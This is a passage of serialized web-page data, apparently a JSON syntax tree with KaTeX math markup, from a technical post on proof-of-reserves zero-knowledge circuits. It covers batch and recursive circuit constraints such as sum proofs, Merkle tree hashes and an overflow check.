75,"children":92177},{"className":92176},[2009,19596],[92178],{"type":28,"value":91210},{"type":23,"tag":139,"props":92180,"children":92182},{"className":92181},[2009,19596],[92183],{"type":28,"value":54302},{"type":23,"tag":139,"props":92185,"children":92187},{"className":92186},[2009,19596],[92188],{"type":28,"value":19738},{"type":23,"tag":139,"props":92190,"children":92192},{"className":92191,"style":90951},[2009],[92193],{"type":28,"value":1057},{"type":23,"tag":139,"props":92195,"children":92197},{"className":92196},[2009,19596],[92198],{"type":28,"value":64},{"type":23,"tag":139,"props":92200,"children":92202},{"className":92201},[2009,19596],[92203],{"type":28,"value":90942},{"type":23,"tag":139,"props":92205,"children":92207},{"className":92206},[2009,19596],[92208],{"type":28,"value":19738},{"type":23,"tag":139,"props":92210,"children":92212},{"className":92211,"style":90951},[2009],[92213],{"type":28,"value":1057},{"type":23,"tag":139,"props":92215,"children":92217},{"className":92216},[2009,19596],[92218],{"type":28,"value":90959},{"type":23,"tag":139,"props":92220,"children":92222},{"className":92221,"style":90963},[2009,19596],[92223],{"type":28,"value":90966},{"type":23,"tag":139,"props":92225,"children":92227},{"className":92226},[2009,19596],[92228],{"type":28,"value":90972},{"type":23,"tag":139,"props":92230,"children":92232},{"className":92231},[2009,19596],[92233],{"type":28,"value":90978},{"type":23,"tag":139,"props":92235,"children":92237},{"className":92236},[2009],[92238,92243],{"type":23,"tag":139,"props":92239,"children":92241},{"className":92240},[2009,19596],[92242],{"type":28,"value":8661},{"type":23,"tag":139,"props":92244,"children":92246},{"className":92245},[2025],[92247],{"type":23,"tag":139,"props":92248,"children":92250},{"className":92249},[2030,19650],[92251,92280],{"type":23,"tag":139,"props":92252,"children":92254},{"className":92253},[2035],[92255,92275],{"type":23,"tag":139,"props":92256,"children":92258},{"className":92257,"style":91480},[2040],[92259],{"type":23,"tag":139,"props":92260,"children":92261},{"style":91007},[92262,92266],{"type":23,"tag":139,"props":92263,"children":92265},{"className":92264,"style":2050},[2049],[],{"type":23,"tag":139,"props":92267,"children":92269},{"className":92268},[2055,2056,2057,2058],[92270],{"type":23,"tag":139,"props":92271,"children":92273},{"className":92272},[2009,19596,2058],[92274],{"type":28,"value":1728},{"type":23,"tag":139,"props":92276,"children":92278},{"className":92277},[19753],[92279],{"type":28,"value":19756},{"type":23,"tag":139,"props":92281,"children":92283},{"className":92282},[2035],[92284],{"type":23,"tag":139,"props":92285,"children":92287},{"className":92286,"style":91034},[2040],[92288],{"type":23,"tag":139,"props":92289,"children":92290},{},[],{"type":23,"tag":139,"props":92292,"children":92294},{"className":92293},[19725],[92295],{"type":28,"value":1723},{"type":23,"tag":139,"props":92297,"children":92299},{"className":92298},[2009,19596],[92300],{"type":28,"value":64},{"type":23,"tag":139,"props":92302,"children":92304},{"className":92303},[2009,19596],[92305],{"type":28,"value":90942},{"type":23,"tag":139,"props":92307,"children":92309},{"className":92308},[2009,19596],[92310],{"type":28,"value":19738},{"type":23,"tag":139,"props":92312,"children":92314},{"className":92313,"style":90951},[2009],[92315],{"type":28,"value":1057},{"type":23,"tag":139,"props":92317,"children":92319},{"className":92318},[2009,19596],[92320],{"type":28,"value":54302},{"type":23,"tag":139,"props":92322,"children":92324},{"className":92323},[2009,19596],[92325],{"type":28,"value":91210},{"type":23,"tag":139,"props":92327,"children":92329},{"className":92328},[2009,19596],[92330],{"type":28,"value":49031},{"type":23,"tag":139,"props":92332,"children":92334},{"className":92333},[19747],[92335],{"type":28,"value":13423},{"type":28,"value":471},{"type":23,"tag":56,"props":92338,"children":92339},{},[92340],{"type":28,"value":92341},"(sum proof)",{"type":23,"tag":801,"props":92343,"children":92344},{},[92345,92734,92735],{"type":23,"tag":135,"props":92346,"children":92348},{"className":92347},[1981,1982],[92349],{"type":23,"tag":139,"props":92350,"children":92352},{"className":92351},[1987],[92353],{"type":23,"tag":139,"props":92354,"children":92356},{"className":92355,"ariaHidden":1993},[1992],[92357,92443],{"type":23,"tag":139,"props":92358,"children":92360},{"className":92359},[1998],[92361,92366,92371,92377,92383,92388,92393,92398,92403,92409,92414,92420,92425,92430,92434,92439],{"type":23,"tag":139,"props":92362,"children":92365},{"className":92363,"style":92364},[2003],"height:1.0044em;vertical-align:-0.31em;",[],{"type":23,"tag":139,"props":92367,"children":92369},{"className":92368},[2009,19596],[92370],{"type":28,"value":49031},{"type":23,"tag":139,"props":92372,"children":92374},{"className":92373,"style":90951},[2009,19596],[92375],{"type":28,"value":92376},"er",{"type":23,"tag":139,"props":92378,"children":92381},{"className":92379,"style":92380},[2009,19596],"margin-right:0.03148em;",[92382],{"type":28,"value":86588},{"type":23,"tag":139,"props":92384,"children":92386},{"className":92385,"style":90963},[2009,19596],[92387],{"type":28,"value":90966},{"type":23,"tag":139,"props":92389,"children":92391},{"className":92390},[2009,19596],[92392],{"type":28,"value":49352},{"type":23,"tag":139,"props":92394,"children":92396},{"className":92395,"style":90951},[2009],[92397],{"type":28,"value":1057},{"type":23,"tag":139,"props":92399,"children":92401},{"className":92400},[2009,19596],[92402],{"type":28,"value":19738},{"type":23,"tag":139,"props":92404,"children":92406},{"className":92405},[2009,19596],[92407],{"type":28,"value":92408},"ree",{"type":23,"tag":139,"props":92410,"children":92412},{"className":92411,"style":90951},[2009],[92413],{"type":28,"value":1057},{"type":23,"tag":139,"props":92415,"children":92417},{"className":92416},[2009,19596],[92418],{"type":28,"value":92419},"ha",{"type":23,"tag":139,"props":92421,"children":92423},{"className":92422},[2009,19596],[92424],{"type":28,"value":8661},{"type":23,"tag":139,"props":92426,"children":92428},{"className":92427},[2009,19596],[92429],{"type":28,"value":82249},{"type":23,"tag":139,"props":92431,"children":92433},{"className":92432,"style":2187},[2089],[],{"type":23,"tag":139,"props":92435,"children":92437},{"className":92436},[2192],[92438],{"type":28,"value":6580},{"type":23,"tag":139,"props":92440,"children":92442},{"className":92441,"style":2187},[2089],[],{"type":23,"tag":139,"props":92444,"children":92446},{"className":92445},[1998],[92447,92451,92456,92461,92466,92471,92476,92481,92486,92491,92496,92553,92558,92562,92567,92572,92629,92634,92639,92643,92648,92653,92657,92662,92667,92729],{"type":23,"tag":139,"props":92448,"children":92450},{"className":92449,"style":2110},[2003],[],{"type":23,"tag":139,"props":92452,"children":92454},{"className":92453,"style":19597},[2009,19596],[92455],{"type":28,"value":19600},{"type":23,"tag":139,"props":92457,"children":92459},{"className":92458},[2009,19596],[92460],{"type":28,"value":90905},{"type":23,"tag":139,"props":92462,"children":92464},{"className":92463},[2009,19596],[92465],{"type":28,"value":1728},{"type":23,"tag":139,"props":92467,"children":92469},{"className":92468},[2009,19596],[92470],{"type":28,"value":68466},{"type":23,"tag":139,"props":92472,"children":92474},{"className":92473},[2009,19596],[92475],{"type":28,"value":90921},{"type":23,"tag":139,"props":92477,"children":92479},{"className":92478},[2009,19596],[92480],{"type":28,"value":54302},{"type":23,"tag":139,"props":92482,"children":92484},{"className":92483},[19725],[92485],{"type":28,"value":262},{"type":23,"tag":139,"props":92487,"children":92489},{"className":92488},[2009,19596],[92490],{"type":28,"value":92419},{"type":23,"tag":139,"props":92492,"children":92494},{"className":92493},[2009,19596],[92495],{"type":28,"value":8661},{"type":23,"tag":139,"props":92497,"children":92499},{"className":92498},[2009],[92500,92505],{"type":23,"tag":139,"props":92501,"children":92503},{"className":92502},[2009,19596],[92504],{"type":28,"value":82249},{"type":23,"tag":139,"props":92506,"children":92508},{"className":92507},[2025],[92509],{"type":23,"tag":139,"props":92510,"children":92512},{"className":92511},[2030,19650],[92513,92542],{"type":23,"tag":139,"props":92514,"children":92516},{"className":92515},[2035],[92517,92537],{"type":23,"tag":139,"props":92518,"children":92520},{"className":92519,"style":91003},[2040],[92521],{"type":23,"tag":139,"props":92522,"children":92523},{"style":91007},[92524,92528],{"type":23,"tag":139,"props":92525,"children":92527},{"className":92526,"style":2050},[2049],[],{"type":23,"tag":139,"props":92529,"children":92531},{"className":92530},[2055,2056,2057,2058],[92532],{"type":23,"tag":139,"props":92533,"children":92535},{"className":92534},[2009,2058],[92536],{"type":28,"value":2021},{"type":23,"tag":139,"props":92538,"children":92540},{"className":92539},[19753],[92541],{"type":28,"value":19756},{"type":23,"tag":139,"props":92543,"children":92545},{"className":92544},[2035],[92546],{"type":23,"tag":139,"props":92547,"children":92549},{"className":92548,"style":91034},[2040],[92550],{"type":23,"tag":139,"props":92551,"children":92552},{},[],{"type":23,"tag":139,"props":92554,"children":92556},{"className":92555},[2121],[92557],{"type":28,"value":2124},{"type":23,"tag":139,"props":92559,"children":92561},{"className":92560,"style":2128},[2089],[],{"type":23,"tag":139,"props":92563,"children":92565},{"className":92564},[2009,19596],[92566],{"type":28,"value":92419},{"type":23,"tag":139,"props":92568,"children":92570},{"className":92569},[2009,19596],[92571],{"type":28,"value":8661},{"type":23,"tag":139,"props":92573,"children":92575},{"className":92574},[2009],[92576,92581],{"type":23,"tag":139,"props":92577,"children":92579},{"className":92578},[2009,19596],[92580],{"type":28,"value":82249},{"type":23,"tag":139,"props":92582,"children":92584},{"className":92583},[2025],[92585],{"type":23,"tag":139,"props":92586,"children":92588},{"className":92587},[2030,19650],[92589,92618],{"type":23,"tag":139,"props":92590,"children":92592},{"className":92591},[2035],[92593,92613],{"type":23,"tag":139,"props":92594,"children":92596},{"className":92595,"style":91003},[2040],[92597],{"type":23,"tag":139,"props":92598,"children":92599},{"style":91007},[92600,92604],{"type":23,"tag":139,"props":92601,"children":92603},{"className":92602,"style":2050},[2049],[],{"type":23,"tag":139,"props":92605,"children":92607},{"className":92606},[2055,2056,2057,2058],[92608],{"type":23,"tag":139,"props":92609,"children":92611},{"className":92610},[2009,2058],[92612],{"type":28,"value":647},{"type":23,"tag":139,"props":92614,"children":92616},{"className":92615},[19753],[92617],{"type":28,"value":19756},{"type":23,"tag":139,"props":92619,"children":92621},{"className":92620},[2035],[92622],{"type":23,"tag":139,"props":92623,"children":92625},{"className":92624,"style":91034},[2040],[92626],{"type":23,"tag":139,"props":92627,"children":92628},{},[],{"type":23,"tag":139,"props":92630,"children":92632},{"className":92631},[2121],[92633],{"type":28,"value":2124},{"type":23,"tag":139,"props":92635,"children":92637},{"className":92636},[2089],[92638],{"type":28,"value":19697},{"type":23,"tag":139,"props":92640,"children":92642},{"className":92641,"style":2128},[2089],[],{"type":23,"tag":139,"props":92644,"children":92646},{"className":92645},[2009],[92647],{"type":28,"value":7599},{"type":23,"tag":139,"props":92649,"children":92651},{"className":92650},[2121],[92652],{"type":28,"value":2124},{"type":23,"tag":139,"props":92654,"children":92656},{"className":92655,"style":2128},[2089],[],{"type":23,"tag":139,"props":92658,"children":92660},{"className":92659},[2009,19596],[92661],{"type":28,"value":92419},{"type":23,"tag":139,"props":92663,"children":92665},{"className":92664},[2009,19596],[92666],{"type":28,"value":8661},{"type":23,"tag":139,"props":92668,"children":92670},{"className":92669},[2009],[92671,92676],{"type":23,"tag":139,"props":92672,"children":92674},{"className":92673},[2009,19596],[92675],{"type":28,"value":82249},{"type":23,"tag":139,"props":92677,"children":92679},{"className":92678},[2025],[92680],{"type":23,"tag":139,"props":92681,"children":92683},{"className":92682},[2030,19650],[92684,92718],{"type":23,"tag":139,"props":92685,"children":92687},{"className":92686},[2035],[92688,92713],{"type":23,"tag":139,"props":92689,"children":92691},{"className":92690,"style":91003},[2040],[92692],{"type":23,"tag":139,"props":92693,"children":92694},{"style":91007},[92695,92699],{"type":23,"tag":139,"props":92696,"children":92698},{"className":92697,"style":2050},[2049],[],{"type":23,"tag":139,"props":92700,"children":92702},{"className":92701},[2055,2056,2057,2058],[92703],{"type":23,"tag":139,"props":92704,"children":92706},{"className":92705},[2009,2058],[92707],{"type":23,"tag":139,"props":92708,"children":92710},{"className":92709},[2009,2058],[92711],{"type":28,"value":92712},"511",{"type":23,"tag":139,"props":92714,"children":92716},{"className":92715},[19753],[92717],{"type":28,"value":19756},{"type":23,"tag":139,"props":92719,"children":92721},{"className":92720},[2035],[92722],{"type":23,"tag":139,"props":92723,"children":92725},{"className":92724,"style":91034},[2040],[92726],{"type":23,"tag":139,"props":92727,"children":92728},{},[],{"type":23,"tag":139,"props":92730,"children":92732},{"className":92731},[19747],[92733],{"type":28,"value":1104},{"type":28,"value":471},{"type":23,"tag":56,"props":92736,"children":92737},{},[92738],{"type":28,"value":92739},"(merkle tree hash)",{"type":23,"tag":801,"props":92741,"children":92742},{},[92743,93018,93019,93024,93026,93031],{"type":23,"tag":135,"props":92744,"children":92746},{"className":92745},[1981,1982],[92747],{"type":23,"tag":139,"props":92748,"children":92750},{"className":92749},[1987],[92751],{"type":23,"tag":139,"props":92752,"children":92754},{"className":92753,"ariaHidden":1993},[1992],[92755,92948],{"type":23,"tag":139,"props":92756,"children":92758},{"className":92757},[1998],[92759,92763,92768,92773,92778,92783,92788,92793,92798,92803,92808,92813,92818,92823,92828,92833,92890,92895,92900,92905,92910,92915,92920,92925,92930,92935,92939,92944],{"type":23,"tag":139,"props":92760,"children":92762},{"className":92761,"style":90893},[2003],[],{"type":23,"tag":139,"props":92764,"children":92766},{"className":92765},[2009,19596],[92767],{"type":28,"value":64},{"type":23,"tag":139,"props":92769,"children":92771},{"className":92770},[2009,19596],[92772],{"type":28,"value":91408},{"type":23,"tag":139,"props":92774,"children":92776},{"className":92775},[2009,19596],[92777],{"type":28,"value":91210},{"type":23,"tag":139,"props":92779,"children":92781},{"className":92780},[2009,19596],[92782],{"type":28,"value":54302},{"type":23,"tag":139,"props":92784,"children":92786},{"className":92785},[2009,19596],[92787],{"type":28,"value":19738},{"type":23,"tag":139,"props":92789,"children":92791},{"className":92790,"style":90951},[2009],[92792],{"type":28,"value":1057},{"type":23,"tag":139,"props":92794,"children":92796},{"className":92795},[2009,19596],[92797],{"type":28,"value":64},{"type":23,"tag":139,"props":92799,"children":92801},{"className":92800},[2009,19596],[92802],{"type":28,"value":90942},{"type":23,"tag":139,"props":92804,"children":92806},{"className":92805},[2009,19596],[92807],{"type":28,"value":19738},{"type":23,"tag":139,"props":92809,"children":92811},{"className":92810,"style":90951},[2009],[92812],{"type":28,"value":1057},{"type":23,"tag":139,"props":92814,"children":92816},{"className":92815},[2009,19596],[92817],{"type":28,"value":90959},{"type":23,"tag":139,"props":92819,"children":92821},{"className":92820,"style":90963},[2009,19596],[92822],{"type":28,"value":90966},{"type":23,"tag":139,"props":92824,"children":92826},{"className":92825},[2009,19596],[92827],{"type":28,"value":90972},{"type":23,"tag":139,"props":92829,"children":92831},{"className":92830},[2009,19596],[92832],{"type":28,"value":90978},{"type":23,"tag":139,"props":92834,"children":92836},{"className":92835},[2009],[92837,92842],{"type":23,"tag":139,"props":92838,"children":92840},{"className":92839},[2009,19596],[92841],{"type":28,"value":8661},{"type":23,"tag":139,"props":92843,"children":92845},{"className":92844},[2025],[92846],{"type":23,"tag":139,"props":92847,"children":92849},{"className":92848},[2030,19650],[92850,92879],{"type":23,"tag":139,"props":92851,"children":92853},{"className":92852},[2035],[92854,92874],{"type":23,"tag":139,"props":92855,"children":92857},{"className":92856,"style":91480},[2040],[92858],{"type":23,"tag":139,"props":92859,"children":92860},{"style":91007},[92861,92865],{"type":23,"tag":139,"props":92862,"children":92864},{"className":92863,"style":2050},[2049],[],{"type":23,"tag":139,"props":92866,"children":92868},{"className":92867},[2055,2056,2057,2058],[92869],{"type":23,"tag":139,"props":92870,"children":92872},{"className":92871},[2009,19596,2058],[92873],{"type":28,"value":1728},{"type":23,"tag":139,"props":92875,"children":92877},{"className":92876},[19753],[92878],{"type":28,"value":19756},{"type":23,"tag":139,"props":92880,"children":92882},{"className":92881},[2035],[92883],{"type":23,"tag":139,"props":92884,"children":92886},{"className":92885,"style":91034},[2040],[92887],{"type":23,"tag":139,"props":92888,"children":92889},{},[],{"type":23,"tag":139,"props":92891,"children":92893},{"className":92892},[19725],[92894],{"type":28,"value":1723},{"type":23,"tag":139,"props":92896,"children":92898},{"className":92897},[2009,19596],[92899],{"type":28,"value":64},{"type":23,"tag":139,"props":92901,"children":92903},{"className":92902},[2009,19596],[92904],{"type":28,"value":90942},{"type":23,"tag":139,"props":92906,"children":92908},{"className":92907},[2009,19596],[92909],{"type":28,"value":19738},{"type":23,"tag":139,"props":92911,"children":92913},{"className":92912,"style":90951},[2009],[92914],{"type":28,"value":1057},{"type":23,"tag":139,"props":92916,"children":92918},{"className":92917},[2009,19596],[92919],{"type":28,"value":54302},{"type":23,"tag":139,"props":92921,"children":92923},{"className":92922},[2009,19596],[92924],{"type":28,"value":91210},{"type":23,"tag":139,"props":92926,"children":92928},{"className":92927},[2009,19596],[92929],{"type":28,"value":49031},{"type":23,"tag":139,"props":92931,"children":92933},{"className":92932},[19747],[92934],{"type":28,"value":13423},{"type":23,"tag":139,"props":92936,"children":92938},{"className":92937,"style":2187},[2089],[],{"type":23,"tag":139,"props":92940,"children":92942},{"className":92941},[2192],[92943],{"type":28,"value":3808},{"type":23,"tag":139,"props":92945,"children":92947},{"className":92946,"style":2187},[2089],[],{"type":23,"tag":139,"props":92949,"children":92951},{"className":92950},[1998],[92952,92956,92963,92968,92974,92979,92984,92989,92995,93000,93006,93012],{"type":23,"tag":139,"props":92953,"children":92955},{"className":92954,"style":90893},[2003],[],{"type":23,"tag":139,"props":92957,"children":92960},{"className":92958,"style":92959},[2009,19596],"margin-right:0.10903em;",[92961],{"type":28,"value":92962},"M",{"type":23,"tag":139,"props":92964,"children":92966},{"className":92965},[2009,19596],[92967],{"type":28,"value":74671},{"type":23,"tag":139,"props":92969,"children":92972},{"className":92970,"style":92971},[2009,19596],"margin-right:0.07847em;",[92973],{"type":28,"value":4136},{"type":23,"tag":139,"props":92975,"children":92977},{"className":92976,"style":90951},[2009],[92978],{"type":28,"value":1057},{"type":23,"tag":139,"props":92980,"children":92982},{"className":92981,"style":20055},[2009,19596],[92983],{"type":28,"value":20058},{"type":23,"tag":139,"props":92985,"children":92987},{"className":92986},[2009,19596],[92988],{"type":28,"value":74671},{"type":23,"tag":139,"props":92990,"children":92992},{"className":92991,"style":20055},[2009,19596],[92993],{"type":28,"value":92994},"FE",{"type":23,"tag":139,"props":92996,"children":92998},{"className":92997,"style":90951},[2009],[92999],{"type":28,"value":1057},{"type":23,"tag":139,"props":93001,"children":93003},{"className":93002,"style":92971},[2009,19596],[93004],{"type":28,"value":93005},"I",{"type":23,"tag":139,"props":93007,"children":93009},{"className":93008,"style":19597},[2009,19596],[93010],{"type":28,"value":93011},"NT",{"type":23,"tag":139,"props":93013,"children":93015},{"className":93014},[2009],[93016],{"type":28,"value":93017},"/512",{"type":28,"value":471},{"type":23,"tag":56,"props":93020,"children":93021},{},[93022],{"type":28,"value":93023},"(overflow check)",{"type":28,"value":93025}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":23,"tag":135,"props":93027,"children":93029},{"className":93028},[],[93030],{"type":28,"value":90809},{"type":28,"value":1104},{"type":23,"tag":24,"props":93033,"children":93034},{},[93035],{"type":28,"value":93036},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":23,"tag":24,"props":93038,"children":93039},{},[93040],{"type":23,"tag":429,"props":93041,"children":93043},{"alt":48476,"src":93042},"/posts/por/batch-circuit-inputs.png",[],{"type":23,"tag":666,"props":93045,"children":93047},{"id":93046},"recursive-circuit",[93048],{"type":28,"value":93049},"Recursive Circuit",{"type":23,"tag":24,"props":93051,"children":93052},{},[93053],{"type":28,"value":93054},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":23,"tag":24,"props":93056,"children":93057},{},[93058],{"type":23,"tag":56,"props":93059,"children":93060},{},[93061],{"type":28,"value":91323},{"type":23,"tag":14699,"props":93063,"children":93064},{},[93065,93069,93074],{"type":23,"tag":801,"props":93066,"children":93067},{},[93068],{"type":28,"value":91341},{"type":23,"tag":801,"props":93070,"children":93071},{},[93072],{"type":28,"value":93073},"Asset prices",{"type":23,"tag":801,"props":93075,"children":93076},{},[93077],{"type":28,"value":91336},{"type":23,"tag":24,"props":93079,"children":93080},{},[93081],{"type":23,"tag":56,"props":93082,"children":93083},{},[93084],{"type":28,"value":91349},{"type":23,"tag":14699,"props":93086,"children":93087},{},[93088],{"type":23,"tag":801,"props":93089,"children":93090},{},[93091],{"type":28,"value":93092},"8 subproofs",{"type":23,"tag":24,"props":93094,"children":93095},{},[93096],{"type":23,"tag":56,"props":93097,"children":93098},{},[93099],{"type":28,"value":91370},{"type":23,"tag":14699,"props":93101,"children":93102},{},[93103,93513,93844,94211,94598],{"type":23,"tag":801,"props":93104,"children":93105},{},[93106,93508,93509],{"type":23,"tag":135,"props":93107,"children":93109},{"className":93108},[1981,1982],[93110],{"type":23,"tag":139,"props":93111,"children":93113},{"className":93112},[1987],[93114],{"type":23,"tag":139,"props":93115,"children":93117},{"className":93116,"ariaHidden":1993},[1992],[93118,93254],{"type":23,"tag":139,"props":93119,"children":93121},{"className":93120},[1998],[93122,93126,93131,93136,93141,93146,93151,93156,93161,93166,93171,93176,93181,93186,93191,93196,93201,93206,93211,93216,93221,93226,93231,93236,93241,93245,93250],{"type":23,"tag":139,"props":93123,"children":93125},{"className":93124,"style":90893},[2003],[],{"type":23,"tag":139,"props":93127,"children":93129},{"className":93128},[2009,19596],[93130],{"type":28,"value":19738},{"type":23,"tag":139,"props":93132,"children":93134},{"className":93133},[2009,19596],[93135],{"type":28,"value":90921},{"type":23,"tag":139,"props":93137,"children":93139},{"className":93138},[2009,19596],[93140],{"type":28,"value":19738},{"type":23,"tag":139,"props":93142,"children":93144},{"className":93143},[2009,19596],[93145],{"type":28,"value":64},{"type":23,"tag":139,"props":93147,"children":93149},{"className":93148,"style":90963},[2009,19596],[93150],{"type":28,"value":90966},{"type":23,"tag":139,"props":93152,"children":93154},{"className":93153,"style":90951},[2009],[93155],{"type":28,"value":1057},{"type":23,"tag":139,"props":93157,"children":93159},{"className":93158},[2009,19596],[93160],{"type":28,"value":64},{"type":23,"tag":139,"props":93162,"children":93164},{"className":93163},[2009,19596],[93165],{"type":28,"value":90942},{"type":23,"tag":139,"props":93167,"children":93169},{"className":93168},[2009,19596],[93170],{"type":28,"value":19738},{"type":23,"tag":139,"props":93172,"children":93174},{"className":93173,"style":90951},[2009],[93175],{"type":28,"value":1057},{"type":23,"tag":139,"props":93177,"children":93179},{"className":93178},[2009,19596],[93180],{"type":28,"value":90959},{"type":23,"tag":139,"props":93182,"children":93184},{"className":93183,"style":90963},[2009,19596],[93185],{"type":28,"value":90966},{"type":23,"tag":139,"props":93187,"children":93189},{"className":93188},[2009,19596],[93190],{"type":28,"value":90972},{"type":23,"tag":139,"props":93192,"children":93194},{"className":93193},[2009,19596],[93195],{"type":28,"value":90978},{"type":23,"tag":139,"props":93197,"children":93199},{"className":93198},[19725],[93200],{"type":28,"value":1723},{"type":23,"tag":139,"props":93202,"children":93204},{"className":93203},[2009,19596],[93205],{"type":28,"value":64},{"type":23,"tag":139,"props":93207,"children":93209},{"className":93208},[2009,19596],[93210],{"type":28,"value":90942},{"type":23,"tag":139,"props":93212,"children":93214},{"className":93213},[2009,19596],[93215],{"type":28,"value":19738},{"type":23,"tag":139,"props":93217,"children":93219},{"className":93218,"style":90951},[2009],[93220],{"type":28,"value":1057},{"type":23,"tag":139,"props":93222,"children":93224},{"className":93223},[2009,19596],[93225],{"type":28,"value":54302},{"type":23,"tag":139,"props":93227,"children":93229},{"className":93228},[2009,19596],[93230],{"type":28,"value":91210},{"type":23,"tag":139,"props":93232,"children":93234},{"className":93233},[2009,19596],[93235],{"type":28,"value":49031},{"type":23,"tag":139,"props":93237,"children":93239},{"className":93238},[19747],[93240],{"type":28,"value":13423},{"type":23,"tag":139,"props":93242,"children":93244},{"className":93243,"style":2187},[2089],[],{"type":23,"tag":139,"props":93246,"children":93248},{"className":93247},[2192],[93249],{"type":28,"value":6580},{"type":23,"tag":139,"props":93251,"children":93253},{"className":93252,"style":2187},[2089],[],{"type":23,"tag":139,"props":93255,"children":93257},{"className":93256},[1998],[93258,93262,93267,93272,93277,93282,93287,93292,93298,93357,93362,93367,93372,93377,93382,93387,93392,93397,93403,93408,93413,93418,93423,93428,93433,93438,93443,93448,93453,93458,93463,93468,93473,93478,93483,93488,93493,93498,93503],{"type":23,"tag":139,"props":93259,"children":93261},{"className":93260,"style":90893},[2003],[],{"type":23,"tag":139,"props":93263,"children":93265},{"className":93264},[2009],[93266],{"type":28,"value":91541},{"type":23,"tag":139,"props":93268,"children":93270},{"className":93269},[2089],[93271],{"type":28,"value":19697},{"type":23,"tag":139,"props":93273,"children":93275},{"className":93274},[2009,19596],[93276],{"type":28,"value":8661},{"type":23,"tag":139,"props":93278,"children":93280},{"className":93279},[2009,19596],[93281],{"type":28,"value":91210},{"type":23,"tag":139,"props":93283,"children":93285},{"className":93284},[2009,19596],[93286],{"type":28,"value":1199},{"type":23,"tag":139,"props":93288,"children":93290},{"className":93289},[2009,19596],[93291],{"type":28,"value":24},{"type":23,"tag":139,"props":93293,"children":93295},{"className":93294},[2009,19596],[93296],{"type":28,"value":93297},"roo",{"type":23,"tag":139,"props":93299,"children":93301},{"className":93300},[2009],[93302,93308],{"type":23,"tag":139,"props":93303,"children":93306},{"className":93304,"style":93305},[2009,19596],"margin-right:0.10764em;",[93307],{"type":28,"value":30973},{"type":23,"tag":139,"props":93309,"children":93311},{"className":93310},[2025],[93312],{"type":23,"tag":139,"props":93313,"children":93315},{"className":93314},[2030,19650],[93316,93346],{"type":23,"tag":139,"props":93317,"children":93319},{"className":93318},[2035],[93320,93341],{"type":23,"tag":139,"props":93321,"children":93323},{"className":93322,"style":91480},[2040],[93324],{"type":23,"tag":139,"props":93325,"children":93327},{"style":93326},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[93328,93332],{"type":23,"tag":139,"props":93329,"children":93331},{"className":93330,"style":2050},[2049],[],{"type":23,"tag":139,"props":93333,"children":93335},{"className":93334},[2055,2056,2057,2058],[93336],{"type":23,"tag":139,"props":93337,"children":93339},{"className":93338},[2009,19596,2058],[93340],{"type":28,"value":1728},{"type":23,"tag":139,"props":93342,"children":93344},{"className":93343},[19753],[93345],{"type":28,"value":19756},{"type":23,"tag":139,"props":93347,"children":93349},{"className":93348},[2035],[93350],{"type":23,"tag":139,"props":93351,"children":93353},{"className":93352,"style":91034},[2040],[93354],{"type":23,"tag":139,"props":93355,"children":93356},{},[],{"type":23,"tag":139,"props":93358,"children":93360},{"className":93359},[2009],[93361],{"type":28,"value":73},{"type":23,"tag":139,"props":93363,"children":93365},{"className":93364},[2009,19596],[93366],{"type":28,"value":24},{"type":23,"tag":139,"props":93368,"children":93370},{"className":93369},[2009,19596],[93371],{"type":28,"value":91210},{"type":23,"tag":139,"props":93373,"children":93375},{"className":93374},[2009,19596],[93376],{"type":28,"value":1199},{"type":23,"tag":139,"props":93378,"children":93380},{"className":93379,"style":90963},[2009,19596],[93381],{"type":28,"value":90966},{"type":23,"tag":139,"props":93383,"children":93385},{"className":93384},[2009,19596],[93386],{"type":28,"value":1728},{"type":23,"tag":139,"props":93388,"children":93390},{"className":93389},[2009,19596],[93391],{"type":28,"value":1123},{"type":23,"tag":139,"props":93393,"children":93395},{"className":93394,"style":90951},[2009],[93396],{"type":28,"value":1057},{"type":23,"tag":139,"props":93398,"children":93400},{"className":93399},[2009,19596],[93401],{"type":28,"value":93402},"in",{"type":23,"tag":139,"props":93404,"children":93406},{"className":93405},[2009,19596],[93407],{"type":28,"value":24},{"type":23,"tag":139,"props":93409,"children":93411},{"className":93410},[2009,19596],[93412],{"type":28,"value":91210},{"type":23,"tag":139,"props":93414,"children":93416},{"className":93415},[2009,19596],[93417],{"type":28,"value":19738},{"type":23,"tag":139,"props":93419,"children":93421},{"className":93420},[2009],[93422],{"type":28,"value":73},{"type":23,"tag":139,"props":93424,"children":93426},{"className":93425},[2009,19596],[93427],{"type":28,"value":64},{"type":23,"tag":139,"props":93429,"children":93431},{"className":93430},[2009,19596],[93432],{"type":28,"value":90942},{"type":23,"tag":139,"props":93434,"children":93436},{"className":93435},[2009,19596],[93437],{"type":28,"value":19738},{"type":23,"tag":139,"props":93439,"children":93441},{"className":93440,"style":90951},[2009],[93442],{"type":28,"value":1057},{"type":23,"tag":139,"props":93444,"children":93446},{"className":93445},[2009,19596],[93447],{"type":28,"value":90959},{"type":23,"tag":139,"props":93449,"children":93451},{"className":93450,"style":90963},[2009,19596],[93452],{"type":28,"value":90966},{"type":23,"tag":139,"props":93454,"children":93456},{"className":93455},[2009,19596],[93457],{"type":28,"value":90972},{"type":23,"tag":139,"props":93459,"children":93461},{"className":93460},[2009,19596],[93462],{"type":28,"value":91781},{"type":23,"tag":139,"props":93464,"children":93466},{"className":93465},[19725],[93467],{"type":28,"value":1723},{"type":23,"tag":139,"props":93469,"children":93471},{"className":93470},[2009,19596],[93472],{"type":28,"value":64},{"type":23,"tag":139,"props":93474,"children":93476},{"className":93475},[2009,19596],[93477],{"type":28,"value":90942},{"type":23,"tag":139,"props":93479,"children":93481},{"className":93480},[2009,19596],[93482],{"type":28,"value":19738},{"type":23,"tag":139,"props":93484,"children":93486},{"className":93485,"style":90951},[2009],[93487],{"type":28,"value":1057},{"type":23,"tag":139,"props":93489,"children":93491},{"className":93490},[2009,19596],[93492],{"type":28,"value":54302},{"type":23,"tag":139,"props":93494,"children":93496},{"className":93495},[2009,19596],[93497],{"type":28,"value":91210},{"type":23,"tag":139,"props":93499,"children":93501},{"className":93500},[2009,19596],[93502],{"type":28,"value":49031},{"type":23,"tag":139,"props":93504,"children":93506},{"className":93505},[19747],[93507],{"type":28,"value":13423},{"type":28,"value":471},{"type":23,"tag":56,"props":93510,"children":93511},{},[93512],{"type":28,"value":92341},{"type":23,"tag":801,"props":93514,"children":93515},{},[93516]